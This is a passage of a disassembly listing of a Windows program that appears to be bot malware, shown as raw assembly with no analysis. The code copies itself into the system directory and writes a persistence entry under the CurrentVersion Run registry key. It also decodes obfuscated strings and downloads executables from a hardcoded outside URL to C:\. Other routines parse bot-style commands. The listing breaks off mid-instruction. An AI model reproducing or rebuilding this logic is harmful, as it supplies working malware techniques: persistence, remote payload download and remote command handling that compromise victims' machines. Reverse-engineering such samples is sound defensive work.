bl lea edi, [ebp+var_77] rep stosd mov esi, 0FFh push esi stosw lea eax, [ebp+var_1AB] push ebx push eax mov byte ptr [ebp+var_10730], bl mov [ebp+var_1AC], bl call sub_40C6F0 add esp, 0Ch push esi lea eax, [ebp+var_42B] push ebx push eax mov [ebp+var_42C], bl call sub_40C6F0 add esp, 0Ch push esi lea eax, [ebp+var_72B] push ebx push eax mov [ebp+var_72C], bl call sub_40C6F0 add esp, 0Ch lea eax, [ebp+var_1072C] push offset asc_420400 ; " :" push eax call sub_40D75E push eax mov edi, offset aS ; "%s" push edi lea eax, [ebp+var_42C] push esi push eax call sub_40C634 lea eax, [ebp+var_42C] push eax call sub_40C500 add esp, 1Ch mov [ebp+eax+var_42C], bl lea eax, [ebp+var_1072C] push offset asc_420424 ; "!" push eax call sub_40D75E push eax push edi lea eax, [ebp+var_78] push 22h push eax call sub_40C634 lea eax, [ebp+var_78] push eax call sub_40C500 mov [ebp+eax+var_78], bl lea eax, [ebp+var_78] add esp, 1Ch push eax call sub_40C500 pop ecx push eax lea eax, [ebp+var_77] push eax lea eax, [ebp+var_78] push eax call sub_40CC90 add esp, 0Ch lea eax, [ebp+var_1062C] push offset a332 ; "332" push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz short loc_40455A lea eax, [ebp+var_1042C] push eax push edi lea eax, [ebp+var_1AC] push esi push eax call sub_40C634 lea eax, [ebp+var_1AC] push eax call sub_40C500 mov byte ptr [ebp+var_10730], 1 jmp short loc_40459A ; --------------------------------------------------------------------------- loc_40455A: ; CODE XREF: sub_403F55+5D9j mov eax, [ebp+var_10734] add eax, 5 push eax lea eax, [ebp+var_1052C] push eax call sub_40CDC0 pop ecx test eax, eax pop ecx lea eax, [ebp+var_78] jz short loc_40457F lea eax, [ebp+var_1052C] loc_40457F: ; CODE XREF: sub_403F55+622j push eax push edi lea eax, [ebp+var_1AC] push esi push eax call sub_40C634 lea eax, [ebp+var_1AC] push eax call sub_40C500 loc_40459A: ; CODE XREF: sub_403F55+603j add esp, 14h mov [ebp+eax+var_1AC], bl mov edi, 100h push edi lea esi, [ebp+var_72C] mov ebx, offset byte_425049 call sub_401ACE pop ecx lea eax, [ebp+var_42C] mov ecx, esi call sub_4029B4 test eax, eax jnz short loc_4045D4 cmp byte ptr [ebp+var_10730], al jz short loc_404635 loc_4045D4: ; CODE XREF: sub_403F55+675j mov esi, offset asc_420428 ; ";" lea eax, [ebp+var_62C] push esi push eax xor ebx, ebx call sub_40D75E jmp short loc_4045FA ; --------------------------------------------------------------------------- loc_4045EA: ; CODE XREF: sub_403F55+6A9j push esi push 0 mov [ebp+ebx*4+var_10F34], eax call sub_40D75E inc ebx loc_4045FA: ; CODE XREF: sub_403F55+693j test eax, eax pop ecx pop ecx jnz short loc_4045EA xor esi, esi test ebx, ebx jle short loc_404635 loc_404606: ; CODE XREF: sub_403F55+6DEj push [ebp+esi*4+var_10F34] lea eax, [ebp+var_1AC] push eax lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_78] push eax push [ebp+var_10730] push [ebp+var_10734] call sub_4046BC inc esi cmp esi, ebx jl short loc_404606 loc_404635: ; CODE XREF: sub_403F55+67Dj ; sub_403F55+6AFj push 23h lea eax, [ebp+var_78] push 0 push eax call sub_40C6F0 add esp, 0Ch push edi xor esi, esi lea eax, [ebp+var_1AC] push esi push eax call sub_40C6F0 add esp, 0Ch push edi lea eax, [ebp+var_42C] push esi push eax call sub_40C6F0 add esp, 0Ch push edi lea eax, [ebp+var_72C] loc_404670: ; CODE XREF: sub_403F55+4ABj push esi loc_404671: ; CODE XREF: sub_403F55+357j push eax call sub_40C6F0 add esp, 0Ch xor ebx, ebx loc_40467C: ; CODE XREF: sub_403F55+4DBj push 9 lea eax, [ebp+var_38] push ebx push eax call sub_40C6F0 add esp, 0Ch push 9 lea eax, [ebp+var_44] push ebx push eax call sub_40C6F0 add esp, 0Ch push 0Dh lea eax, [ebp+var_54] push ebx push eax call sub_40C6F0 add esp, 0Ch mov al, 1 loc_4046AB: ; CODE XREF: sub_403F55+23Fj mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn 4 sub_403F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_403F55+6D6p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 824h push ebx push esi push edi mov esi, offset asc_4202A4 ; " " push esi push [ebp+arg_14] xor ebx, ebx mov byte ptr [ebp+var_8], 0 mov [ebp+var_4], ebx call sub_40D75E jmp short loc_40471B ; --------------------------------------------------------------------------- loc_4046E1: ; CODE XREF: sub_4046BC+65j mov eax, [ebp+var_4] push offset aS_0 ; "-s" push edi mov [ebp+eax*4+var_820], edi call sub_40ACE3 test eax, eax pop ecx pop ecx jz short loc_40470D push offset aS_1 ; "/s" push edi call sub_40ACE3 test eax, eax pop ecx pop ecx jnz short loc_404711 loc_40470D: ; CODE XREF: sub_4046BC+3Ej mov byte ptr [ebp+var_8], 1 loc_404711: ; CODE XREF: sub_4046BC+4Fj push esi push ebx call sub_40D75E inc [ebp+var_4] loc_40471B: ; CODE XREF: sub_4046BC+23j mov edi, eax cmp edi, ebx pop ecx pop ecx jnz short loc_4046E1 mov esi, [ebp+arg_0] add esi, 5 push esi push [ebp+var_820] call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_40474C mov ecx, [ebp+var_820] mov eax, esi call sub_4029B4 test eax, eax jz short loc_404772 loc_40474C: ; CODE XREF: sub_4046BC+7Dj xor eax, eax cmp [ebp+var_4], ebx jle short loc_40476F mov ecx, [ebp+var_4] dec ecx loc_404757: ; CODE XREF: sub_4046BC+B1j cmp eax, ecx jz short loc_404769 mov edx, [ebp+eax*4+var_81C] mov [ebp+eax*4+var_820], edx loc_404769: ; CODE XREF: sub_4046BC+9Dj inc eax cmp eax, [ebp+var_4] jl short loc_404757 loc_40476F: ; CODE XREF: sub_4046BC+95j dec [ebp+var_4] loc_404772: ; CODE XREF: sub_4046BC+8Ej cmp byte ptr [ebp+var_8], bl jz short loc_40477A dec [ebp+var_4] loc_40477A: ; CODE XREF: sub_4046BC+B9j mov eax, [ebp+var_820] mov cl, [eax] cmp cl, byte_425010 jnz loc_40483D push eax call sub_40C500 push eax mov eax, [ebp+var_820] lea ecx, [eax+1] push ecx push eax call sub_40CC90 mov eax, dword_433BB8 mov esi, [eax] mov ebx, offset dword_433BB4 mov edi, ebx add esp, 10h mov [ebp+var_C], esi mov [ebp+var_10], edi loc_4047BC: ; CODE XREF: sub_4046BC+153j test edi, edi mov eax, dword_433BB8 mov [ebp+var_14], eax jz short loc_4047CC cmp edi, ebx jz short loc_4047D1 loc_4047CC: ; CODE XREF: sub_4046BC+10Aj call sub_40CB2C loc_4047D1: ; CODE XREF: sub_4046BC+10Ej cmp esi, [ebp+var_14] jz short loc_40483D test edi, edi jnz short loc_4047DF call sub_40CB2C loc_4047DF: ; CODE XREF: sub_4046BC+11Cj cmp esi, [edi+4] jnz short loc_4047E9 call sub_40CB2C loc_4047E9: ; CODE XREF: sub_4046BC+126j push [ebp+var_820] lea eax, [esi+0Ch] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_404811 lea edi, [ebp+var_20] lea esi, [ebp+var_10] call sub_402E22 mov esi, [ebp+var_C] mov edi, [ebp+var_10] jmp short loc_4047BC ; --------------------------------------------------------------------------- loc_404811: ; CODE XREF: sub_4046BC+140j cmp esi, [edi+4] jnz short loc_40481B call sub_40CB2C loc_40481B: ; CODE XREF: sub_4046BC+158j mov ecx, [esi+8] mov eax, [ecx] lea edx, [ebp+var_820] push edx mov edx, [ebp+var_4] dec edx push edx push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+var_8] push [ebp+arg_4] call dword ptr [eax] loc_40483D: ; CODE XREF: sub_4046BC+CCj ; sub_4046BC+118j pop edi pop esi pop ebx leave retn 18h sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404844 proc near ; CODE XREF: sub_4038C8+39p ; sub_40393C+2E8p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3C = byte ptr -3Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push esi push edi xor eax, eax mov [ebp+var_40], 0 lea edi, [ebp+var_3F] stosw stosb push 0Dh pop ecx mov esi, offset aQwertyuiopasdf ; "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJ"... lea edi, [ebp+var_3C] rep movsd lea eax, [ebp+var_48] push eax movsb call ds:off_41E1FC call ds:dword_41E0EC ; GetTickCount mov ecx, [ebp+var_44] mov edx, [ebp+var_48] add ecx, edx cmp eax, ecx jb short loc_404890 add ecx, eax jmp short loc_404892 ; --------------------------------------------------------------------------- loc_404890: ; CODE XREF: sub_404844+46j sub ecx, eax loc_404892: ; CODE XREF: sub_404844+4Aj push ecx call sub_40D0E9 pop ecx push 23h push 0 push ebx call sub_40C6F0 add esp, 0Ch push offset asc_42046C ; "[" push 22h pop esi push esi push ebx call sub_40C634 add esp, 0Ch push ebx call sub_40C500 pop ecx push 4 pop ecx lea edi, [ebp+var_40] mov byte ptr [eax+ebx], 0 call sub_402AAB mov eax, edi push eax push ebx mov edi, offset aSS_1 ; "%s%s|" push edi push esi push ebx call sub_40C634 add esp, 14h push ebx call sub_40C500 pop ecx mov byte ptr [eax+ebx], 0 lea eax, [ebp+var_40] push 4 push eax call sub_402B8C lea eax, [ebp+var_40] push eax push ebx push edi push esi push ebx call sub_40C634 add esp, 1Ch push ebx call sub_40C500 pop ecx mov byte ptr [eax+ebx], 0 call sub_402C36 test al, al jz short loc_404936 push ebx push offset aSp ; "%sP|" push esi push ebx call sub_40C634 push ebx call sub_40C500 add esp, 14h mov byte ptr [eax+ebx], 0 loc_404936: ; CODE XREF: sub_404844+D6j call sub_402BB7 mov eax, dword_42661C mov ecx, dword_426618 xor edi, edi cmp eax, edi jg short loc_40495D jl short loc_404953 cmp ecx, 0Ah jnb short loc_40495D loc_404953: ; CODE XREF: sub_404844+108j push eax push ecx push ebx push offset aS0I64u ; "%s0%I64u|" jmp short loc_404965 ; --------------------------------------------------------------------------- loc_40495D: ; CODE XREF: sub_404844+106j ; sub_404844+10Dj push eax push ecx push ebx push offset aSI64u ; "%s%I64u|" loc_404965: ; CODE XREF: sub_404844+117j push esi push ebx call sub_40C634 push ebx call sub_40C500 mov byte ptr [eax+ebx], 0 add esp, 1Ch cmp dword_42514C, edi jle short loc_4049B7 loc_404981: ; CODE XREF: sub_404844+171j call sub_40D0F6 push 31h pop ecx xor edx, edx div ecx movsx eax, [ebp+edx+var_3C] push eax push ebx push offset aSC ; "%s%c" push esi push ebx call sub_40C634 add esp, 14h push ebx call sub_40C500 inc edi mov byte ptr [eax+ebx], 0 cmp edi, dword_42514C pop ecx jl short loc_404981 loc_4049B7: ; CODE XREF: sub_404844+13Bj push ebx push offset aS_2 ; "%s]" push esi push ebx call sub_40C634 push ebx call sub_40C500 mov ecx, [ebp+var_4] add esp, 14h pop edi mov byte ptr [eax+ebx], 0 xor ecx, ebp mov eax, ebx pop esi call sub_40AB4A leave retn sub_404844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049E1 proc near ; CODE XREF: .text:0040E144p var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_678 = byte ptr -678h var_4E8 = byte ptr -4E8h var_4E0 = byte ptr -4E0h var_4DF = byte ptr -4DFh var_4A8 = byte ptr -4A8h var_4A7 = byte ptr -4A7h var_428 = byte ptr -428h var_427 = byte ptr -427h var_320 = byte ptr -320h var_31F = byte ptr -31Fh var_218 = byte ptr -218h var_217 = byte ptr -217h var_110 = byte ptr -110h var_10F = byte ptr -10Fh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 724h mov eax, dword_423068 xor eax, esp mov [esp+724h+var_4], eax mov eax, [ebp+arg_8] push ebx push esi push edi mov [esp+730h+var_720], eax call sub_401B44 test al, al jnz loc_404E66 call sub_401BBC test al, al jnz loc_404E66 call sub_401C17 test al, al jnz loc_404E66 mov esi, offset aFu ; "--fu " lea edi, [esp+730h+var_4E8] movsd movsw mov edi, 103h xor ebx, ebx push edi lea eax, [esp+734h+var_10F] push ebx push eax mov [esp+73Ch+var_110], bl call sub_40C6F0 add esp, 0Ch push edi lea eax, [esp+734h+var_31F] push ebx push eax mov [esp+73Ch+var_320], bl call sub_40C6F0 add esp, 0Ch push edi lea eax, [esp+734h+var_427] push ebx push eax mov [esp+73Ch+var_428], bl call sub_40C6F0 add esp, 0Ch push 7Fh lea eax, [esp+734h+var_4A7] push ebx push eax mov [esp+73Ch+var_4A8], bl call sub_40C6F0 add esp, 0Ch push edi lea eax, [esp+734h+var_110] push eax call ds:dword_41E050 ; GetSystemDirectoryA push 80h lea esi, [esp+734h+var_4A8] mov ebx, offset byte_425089 call sub_401ACE pop ecx mov eax, esi push eax lea eax, [esp+734h+var_110] push eax push offset aSS_2 ; "%s\\%s" lea eax, [esp+73Ch+var_428] push edi push eax call sub_40C634 lea eax, [esp+744h+var_428] add esp, 14h push eax call sub_40C500 pop ecx xor ebx, ebx mov [esp+eax+730h+var_428], bl mov esi, 104h push esi lea eax, [esp+734h+var_320] push eax push ebx call ds:dword_41E0CC ; GetModuleHandleA push eax call ds:dword_41E0B4 ; GetModuleFileNameA lea eax, [esp+730h+var_4E8] push eax call sub_40C500 pop ecx push eax lea eax, [esp+734h+var_4E8] push eax push [esp+738h+var_720] call sub_40AE23 add esp, 0Ch test eax, eax jz short loc_404BAE push esi lea eax, [esp+734h+var_428] push eax lea eax, [esp+738h+var_320] push eax call sub_40AE23 add esp, 0Ch test eax, eax jz short loc_404BAE push ebx lea eax, [esp+734h+var_428] push eax lea eax, [esp+738h+var_320] push eax call ds:dword_41E070 ; CopyFileA test eax, eax jz loc_404E66 lea eax, [esp+730h+var_320] push eax lea eax, [esp+734h+var_4E8] push eax lea eax, [esp+738h+var_428] push eax push offset aSSS_0 ; "%s %s%s" call sub_402632 add esp, 10h jmp loc_404E66 ; --------------------------------------------------------------------------- loc_404BAE: ; CODE XREF: sub_4049E1+165j ; sub_4049E1+182j lea eax, [esp+730h+var_4E8] push eax call sub_40C500 pop ecx push eax lea eax, [esp+734h+var_4E8] push eax push [esp+738h+var_720] call sub_40AE23 add esp, 0Ch test eax, eax jnz loc_404C6F push esi lea eax, [esp+734h+var_428] push eax lea eax, [esp+738h+var_320] push eax call sub_40AE23 add esp, 0Ch test eax, eax jnz short loc_404C6F push edi lea eax, [esp+734h+var_217] push ebx push eax mov [esp+73Ch+var_218], bl call sub_40C6F0 lea eax, [esp+73Ch+var_4E8] add esp, 0Ch push eax call sub_40C500 add eax, [esp+734h+var_720] pop ecx push eax push offset aS ; "%s" lea eax, [esp+738h+var_218] push esi push eax call sub_40C634 add esp, 10h xor edi, edi loc_404C3A: ; CODE XREF: sub_4049E1+27Aj lea eax, [esp+730h+var_218] push eax call ds:off_41E0B8 test eax, eax jnz short loc_404C5D push 0C8h call ds:off_41E0E0 inc edi cmp edi, 3 jb short loc_404C3A loc_404C5D: ; CODE XREF: sub_4049E1+269j push esi lea eax, [esp+734h+var_218] push ebx push eax call sub_40C6F0 add esp, 0Ch loc_404C6F: ; CODE XREF: sub_4049E1+1F2j ; sub_4049E1+213j push 80h lea eax, [esp+734h+var_4A8] push ebx push eax call sub_40C6F0 add esp, 0Ch push 37h lea eax, [esp+734h+var_4DF] push ebx push eax mov [esp+73Ch+var_4E0], bl call sub_40C6F0 add esp, 0Ch push 38h lea esi, [esp+734h+var_4E0] mov ebx, offset asc_4250A9 ; "ÞÆÑÛÁÛ" call sub_401ACE pop ecx mov eax, esi push eax push 1 xor ebx, ebx push ebx call ds:off_41E074 push 38h mov esi, eax lea eax, [esp+734h+var_4E0] push ebx push eax call sub_40C6F0 add esp, 0Ch push 1388h push esi call ds:off_41E06C cmp eax, 102h jnz short loc_404CF0 push ebx call ds:off_41E0B0 loc_404CF0: ; CODE XREF: sub_4049E1+306j call sub_404E7F push 8 call loc_40CC1A cmp eax, ebx pop ecx jz short loc_404D14 push offset sub_404FE1 xor ecx, ecx mov edi, offset aRm ; "RM" mov esi, eax call sub_408395 loc_404D14: ; CODE XREF: sub_4049E1+31Ej lea eax, [esp+730h+var_710] push eax mov [esp+734h+var_710], 94h call ds:dword_41E058 ; GetVersionExA cmp [esp+730h+var_70C], 4 mov edi, offset byte_4202A1 jz short loc_404D4D push 8 call loc_40CC1A cmp eax, ebx pop ecx jz short loc_404D4D push offset sub_401000 xor ecx, ecx mov esi, eax call sub_408395 loc_404D4D: ; CODE XREF: sub_4049E1+350j ; sub_4049E1+35Cj push 8 mov byte_426A40, bl call loc_40CC1A cmp eax, ebx pop ecx jz short loc_404D6D push offset sub_40386C xor ecx, ecx mov esi, eax call sub_408395 loc_404D6D: ; CODE XREF: sub_4049E1+37Cj lea eax, [esp+730h+var_678] push eax push 202h call ds:dword_41E25C ; WSAStartup test eax, eax jnz loc_404E60 mov edx, offset aCGfccx_exe ; "C:\\gfccx.exe" mov ecx, offset aHttpMarvmozlin ; "http://marvmozlinwildlife.com/gfxdrvr.e"... call sub_4085E6 mov edx, offset aCSp2_exe ; "C:\\sp2.exe" mov ecx, offset aHttpMarvmozl_0 ; "http://marvmozlinwildlife.com/sp2.exe" call sub_4085E6 call sub_402D40 mov byte_4338BD, bl call sub_407F60 mov eax, [ebp+arg_0] mov byte_426934, bl mov dword_426724, eax call sub_402FC8 mov eax, dword_433BB8 mov eax, [eax] mov ebx, offset dword_433BB4 mov [esp+730h+var_71C], eax mov [esp+730h+var_720], ebx loc_404DDD: ; CODE XREF: sub_4049E1+427j cmp [esp+730h+var_720], 0 mov esi, dword_433BB8 jz short loc_404DF0 cmp [esp+730h+var_720], ebx jz short loc_404DF5 loc_404DF0: ; CODE XREF: sub_4049E1+407j call sub_40CB2C loc_404DF5: ; CODE XREF: sub_4049E1+40Dj cmp [esp+730h+var_71C], esi jz short loc_404E0A lea edi, [esp+730h+var_718] lea esi, [esp+730h+var_720] call sub_402E22 jmp short loc_404DDD ; --------------------------------------------------------------------------- loc_404E0A: ; CODE XREF: sub_4049E1+418j mov edi, offset dword_426A3C loc_404E0F: ; CODE XREF: sub_4049E1+47Dj push 2 mov esi, offset dword_424C58 pop ebx loc_404E17: ; CODE XREF: sub_4049E1+47Bj movsx eax, word ptr [esi+100h] push eax push esi lea edx, [esi-100h] mov ecx, edi call sub_40393C test al, al jz short loc_404E43 mov byte_426A40, 1 loc_404E38: ; CODE XREF: sub_4049E1+460j mov ecx, edi call sub_403C7D test al, al jnz short loc_404E38 loc_404E43: ; CODE XREF: sub_4049E1+44Ej push 3A98h mov byte_426A40, 0 call ds:off_41E0E0 add esi, 202h dec ebx jnz short loc_404E17 jmp short loc_404E0F ; --------------------------------------------------------------------------- loc_404E60: ; CODE XREF: sub_4049E1+3A1j call ds:dword_41E290 ; WSACleanup loc_404E66: ; CODE XREF: sub_4049E1+2Bj ; sub_4049E1+38j ... mov ecx, [esp+730h+var_4] pop edi pop esi pop ebx xor ecx, esp xor eax, eax call sub_40AB4A mov esp, ebp pop ebp retn 10h sub_4049E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=90h sub_404E7F proc near ; CODE XREF: sub_4049E1:loc_404CF0p var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-90h] sub esp, 110h mov eax, dword_423068 xor eax, ebp mov [ebp+90h+var_4], eax push ebx push esi push edi mov esi, 100h push esi call sub_40AA82 mov ebx, eax push esi mov [ebp+90h+var_110], ebx call sub_40AA82 push esi mov [ebp+90h+var_108], eax call sub_40AA82 push esi mov [ebp+90h+var_10C], eax call sub_40AA82 push [ebp+90h+var_10C] mov edi, eax call sub_40C58B push eax push 0 push [ebp+90h+var_10C] call sub_40C6F0 push edi call sub_40C58B push eax push 0 push edi call sub_40C6F0 push esi xor esi, esi lea eax, [ebp+90h+var_104] push esi push eax call sub_40C6F0 push ebx call sub_40C58B add esp, 40h push eax push esi push ebx call sub_40C6F0 push [ebp+90h+var_108] call sub_40C58B push eax push esi push [ebp+90h+var_108] call sub_40C6F0 push ebx call sub_40C58B mov esi, ebx push eax mov ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ" call sub_401ACE mov esi, [ebp+90h+var_108] push esi call sub_40C58B push eax mov ebx, offset byte_425089 call sub_401ACE mov esi, [ebp+90h+var_10C] push esi call sub_40C58B add esp, 30h dec eax push eax push esi call ds:dword_41E050 ; GetSystemDirectoryA push [ebp+90h+var_108] push esi push offset aSS_2 ; "%s\\%s" push edi call sub_40C58B pop ecx dec eax push eax push edi call sub_40C634 push edi call sub_40C500 mov byte ptr [eax+edi], 0 lea eax, [ebp+90h+var_104] push eax push [ebp+90h+var_110] push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... call sub_4051BC add esp, 24h test al, al jz short loc_404F9F lea eax, [ebp+90h+var_104] push eax push edi call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_404FAA loc_404F9F: ; CODE XREF: sub_404E7F+10Ej push edi push [ebp+90h+var_110] call sub_405231 pop ecx pop ecx loc_404FAA: ; CODE XREF: sub_404E7F+11Ej push [ebp+90h+var_110] call sub_40C76A push [ebp+90h+var_108] call sub_40C76A push esi call sub_40C76A push edi call sub_40C76A mov ecx, [ebp+90h+var_4] add esp, 10h pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 90h leave retn sub_404E7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_404FE1 proc near ; DATA XREF: sub_4049E1+320o var_504 = byte ptr -504h var_404 = byte ptr -404h var_403 = byte ptr -403h var_304 = byte ptr -304h var_303 = byte ptr -303h var_204 = byte ptr -204h var_203 = byte ptr -203h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 504h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov esi, 0FFh xor ebx, ebx push esi lea eax, [ebp+var_203] push ebx push eax mov [ebp+var_204], bl call sub_40C6F0 push esi lea eax, [ebp+var_403] push ebx push eax mov [ebp+var_404], bl call sub_40C6F0 push esi lea eax, [ebp+var_303] push ebx push eax mov [ebp+var_304], bl call sub_40C6F0 push esi lea eax, [ebp+var_103] push ebx push eax mov [ebp+var_104], bl call sub_40C6F0 add esp, 30h mov edi, 100h loc_405056: ; CODE XREF: sub_404FE1+182j push edi lea esi, [ebp+var_204] mov ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ" call sub_401ACE push edi lea esi, [ebp+var_404] mov ebx, offset byte_425089 call sub_401ACE pop ecx pop ecx mov esi, 0FFh push esi lea eax, [ebp+var_304] push eax call ds:dword_41E050 ; GetSystemDirectoryA lea eax, [ebp+var_404] push eax lea eax, [ebp+var_304] push eax push offset aSS_2 ; "%s\\%s" lea eax, [ebp+var_104] push esi push eax call sub_40C634 lea eax, [ebp+var_104] push eax call sub_40C500 xor ebx, ebx mov [ebp+eax+var_104], bl lea eax, [ebp+var_504] push eax lea eax, [ebp+var_204] push eax push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... call sub_4051BC add esp, 24h test al, al jz short loc_4050FA lea eax, [ebp+var_504] push eax lea eax, [ebp+var_104] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_40510F loc_4050FA: ; CODE XREF: sub_404FE1+FEj lea eax, [ebp+var_104] push eax lea eax, [ebp+var_204] push eax call sub_405231 pop ecx pop ecx loc_40510F: ; CODE XREF: sub_404FE1+117j push edi lea eax, [ebp+var_304] push ebx push eax call sub_40C6F0 push edi lea eax, [ebp+var_104] push ebx push eax call sub_40C6F0 push edi lea eax, [ebp+var_504] push ebx push eax call sub_40C6F0 push edi lea eax, [ebp+var_204] push ebx push eax call sub_40C6F0 push edi lea eax, [ebp+var_404] push ebx push eax call sub_40C6F0 add esp, 3Ch push 3A98h call ds:off_41E0E0 jmp loc_405056 sub_404FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405168 proc near ; CODE XREF: sub_40140A+FFp ; sub_402833+146p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push [ebp+arg_4] push [ebp+arg_0] call ds:off_41E000 test eax, eax jz short loc_40519B push [ebp+var_4] call ds:off_41E00C xor al, al loc_405198: ; CODE XREF: sub_405168+4Ej pop ebx leave retn ; --------------------------------------------------------------------------- loc_40519B: ; CODE XREF: sub_405168+23j push [ebp+arg_8] push [ebp+var_4] call ds:off_41E044 test eax, eax jz short loc_4051B8 loc_4051AB: ; CODE XREF: sub_405168+52j push [ebp+var_4] call ds:off_41E00C mov al, bl jmp short loc_405198 ; --------------------------------------------------------------------------- loc_4051B8: ; CODE XREF: sub_405168+41j mov bl, 1 jmp short loc_4051AB sub_405168 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051BC proc near ; CODE XREF: sub_40158F+116p ; sub_404E7F+104p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_4] push eax push 1 push 0 push [ebp+arg_0] mov [ebp+var_8], 100h push 80000002h mov [ebp+var_C], 1 call ds:off_41E028 test eax, eax jnz short loc_405214 lea eax, [ebp+var_8] push eax push [ebp+arg_8] lea eax, [ebp+var_C] push eax push 0 push [ebp+arg_4] push [ebp+var_4] call ds:off_41E004 test eax, eax jnz short loc_405214 push [ebp+var_4] call ds:off_41E00C mov al, 1 leave retn ; --------------------------------------------------------------------------- loc_405214: ; CODE XREF: sub_4051BC+2Cj ; sub_4051BC+49j push [ebp+var_4] call ds:off_41E00C push [ebp+var_8] push 0 push [ebp+arg_8] call sub_40C6F0 add esp, 0Ch xor al, al leave retn sub_4051BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405231 proc near ; CODE XREF: sub_404E7F+124p ; sub_404FE1+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call ds:off_41E000 test eax, eax jz short loc_405268 push [ebp+var_4] call ds:off_41E00C xor al, al loc_405265: ; CODE XREF: sub_405231+62j pop ebx leave retn ; --------------------------------------------------------------------------- loc_405268: ; CODE XREF: sub_405231+27j push [ebp+arg_4] call sub_40C500 pop ecx push eax push [ebp+arg_4] push 1 push ebx push [ebp+arg_0] push [ebp+var_4] call ds:off_41E008 test eax, eax jz short loc_405295 loc_405288: ; CODE XREF: sub_405231+66j push [ebp+var_4] call ds:off_41E00C mov al, bl jmp short loc_405265 ; --------------------------------------------------------------------------- loc_405295: ; CODE XREF: sub_405231+55j mov bl, 1 jmp short loc_405288 sub_405231 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405299 proc near ; CODE XREF: sub_405299+D5p ; .text:004098F7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_4052B2 mov ecx, [ebp+arg_4] shr ecx, 18h or cl, 1 jmp short loc_4052B8 ; --------------------------------------------------------------------------- loc_4052B2: ; CODE XREF: sub_405299+Cj mov cl, byte ptr [ebp+arg_4+3] and cl, 0FEh loc_4052B8: ; CODE XREF: sub_405299+17j movzx eax, word ptr [ebp+arg_24] mov ebx, [ebp+arg_20] lea edx, [ebx+18h] cmp edx, eax ja short loc_4052D5 lea edx, [ebx+18h] mov [ebp+arg_14], ebx or cl, 2 mov [ebp+arg_2B], 0 jmp short loc_4052E6 ; --------------------------------------------------------------------------- loc_4052D5: ; CODE XREF: sub_405299+2Bj mov dx, word ptr [ebp+arg_24] add eax, 0FFFFFFE8h mov [ebp+arg_14], eax and cl, 0FDh mov [ebp+arg_2B], 1 loc_4052E6: ; CODE XREF: sub_405299+3Aj movzx eax, dx push eax mov byte ptr [ebp+arg_4+3], cl mov [ebp+arg_C], dx mov [ebp+var_4], eax call sub_40D437 test eax, eax pop ecx mov 